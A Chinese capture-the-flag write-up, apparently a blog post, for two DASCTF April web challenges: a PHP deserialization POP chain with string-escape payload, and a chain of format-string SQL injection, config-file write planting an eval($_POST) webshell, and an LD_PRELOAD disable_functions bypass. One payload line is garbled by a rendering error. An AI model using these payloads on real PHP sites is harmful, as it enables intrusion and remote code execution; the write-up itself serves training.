DASCTF 四月赛 web部分

Ezunserialize

反序列化POP链、字符逃逸
POP链构造起来不难,字符逃逸参考:https://xz.aliyun.com/t/6588 https://blog.csdn.net/assasin0308/article/details/103711024
在这里插入图片描述

打开送源码

POP链构造:
__toString() //把类当作字符串使用时触发,返回值需要为字符串
B类的__destruct()可以打印出 c , c, cc = ‘a’.$this->b,当b = new C()时就会触发User类的__toString()魔术方法
生成脚本

<?php
class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}


$aa = new C();
$aa->c='flag.php';
$cc=new B();
$cc->b=$aa;
print(serialize($cc));

在这里插入图片描述

得到 O:1:“B”:1:{s:1:“b”;O:1:“C”:1:{s:1:“c”;s:8:“flag.php”;}}
字符逃逸:
一组\0\0\0能多吞掉3个字符
光标选起来的是需要被吞掉的字符串 ";s:8:“password”;s:56:"A
在这里插入图片描述
在这里插入图片描述

24位,需要8组
这个A是用来防止后面的payload被吞的,因为注入的对象payload也在password字段,并且长度肯定是>=10的,因此s肯定是两位数,因此这里为22+1=23位字符

因为是6->3,因此每次添加一组\0\0\0能多吞掉3个字符,因此需要肯定都是3的倍数

因此我们假如这里构造username为
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
则经过read函数处理后长度将变为24
即此时能够多吞掉24个字符,为了不让其吞掉payload,我们可以填充1位字符A,即令password的值为A+payload即可

最后提交
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:“password”;O:1:“B”:1:{s:1:“b”;O:1:“C”:1:{s:1:“c”;s:8:“flag.php”;}}
在这里插入图片描述

查看源代码

在这里插入图片描述

babytricks

没做出来,等wp出来了补

日 没赶上复现,跟着wp理一遍思路
在这里插入图片描述

利用格式化字符串逃逸引号,user=%1KaTeX parse error: Expected 'EOF', got '&' at position 1: &̲passwd=^0# (这里用…c&passwd=39构造出一个单引号,%c起到了类似chr()的效果,将数字39转化为‘,从而导致了sql注入。
过滤了select regexp 等 ,可以用between盲注配合concat binary 区分大小写

拿到用户名密码去/admin/登录

<?php error_reporting(0); session_save_path('session'); session_start(); require_once './init.php'; if($_SESSION['login']!=1){ die(""); } if($_GET['shell']){ $shell= addslashes($_GET['shell']); $file = file_get_contents('./shell.php'); $file = preg_replace("/\\\$shell = '.*';/s", "\$shell = '{$shell}';", $file); file_put_contents('./shell.php', $file); }else{ echo "set your shell"."
"; chdir("/"); highlight_file(dirname(__FILE__)."/admin.php"); } ?>

考的是经典写配置漏洞与几种变形
https://www.leavesongs.com/PENETRATION/thinking-about-config-file-arbitrary-write.html
https://www.smi1e.top/%E5%B0%8F%E5%AF%86%E5%9C%88%E7%BB%8F%E5%85%B8%E5%86%99%E9%85%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%87%A0%E7%A7%8D%E5%8F%98%E5%BD%A2%E5%AD%A6%E4%B9%A0/

1:?shell=;eval($_POST[a]);
2:?shell=$0

在 /s 模式下 ,会匹配换行符。但可以用$0 或 \0 (完整的模式或匹配文本)引入第一遍得到的单引号,使得两边的单引号成对闭合,导致第一次传入的 ;phpinfo(); 逃逸。

?shell=;phpinfo();

<?php
$API = ';phpinfo();';

?shell=$0 //把 $API = ‘;phpinfo();’ 引入

<?php
$API = '$API = ';phpinfo();';';

蚁剑连上之后会发现不能执行命令,应该是disable_functions导致的 且目录有限制
利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
https://www.freebuf.com/articles/web/192052.html 用文中给出的payload
这里会用到mail( ) 用来开启新的进程 然后题目给ban了
使用gnupg拓展修改代码,
https://www.anquanke.com/post/id/197745?from=singlemessage

然后
bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/admin/shells/xxxxxxx/bypass_disablefunc_x64.so

参考
https://jiang-niao.github.io/2020/04/25/%E5%AE%89%E6%81%92%E6%9C%88%E8%B5%9B%E5%9B%9B%E6%9C%88wp/#web2

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值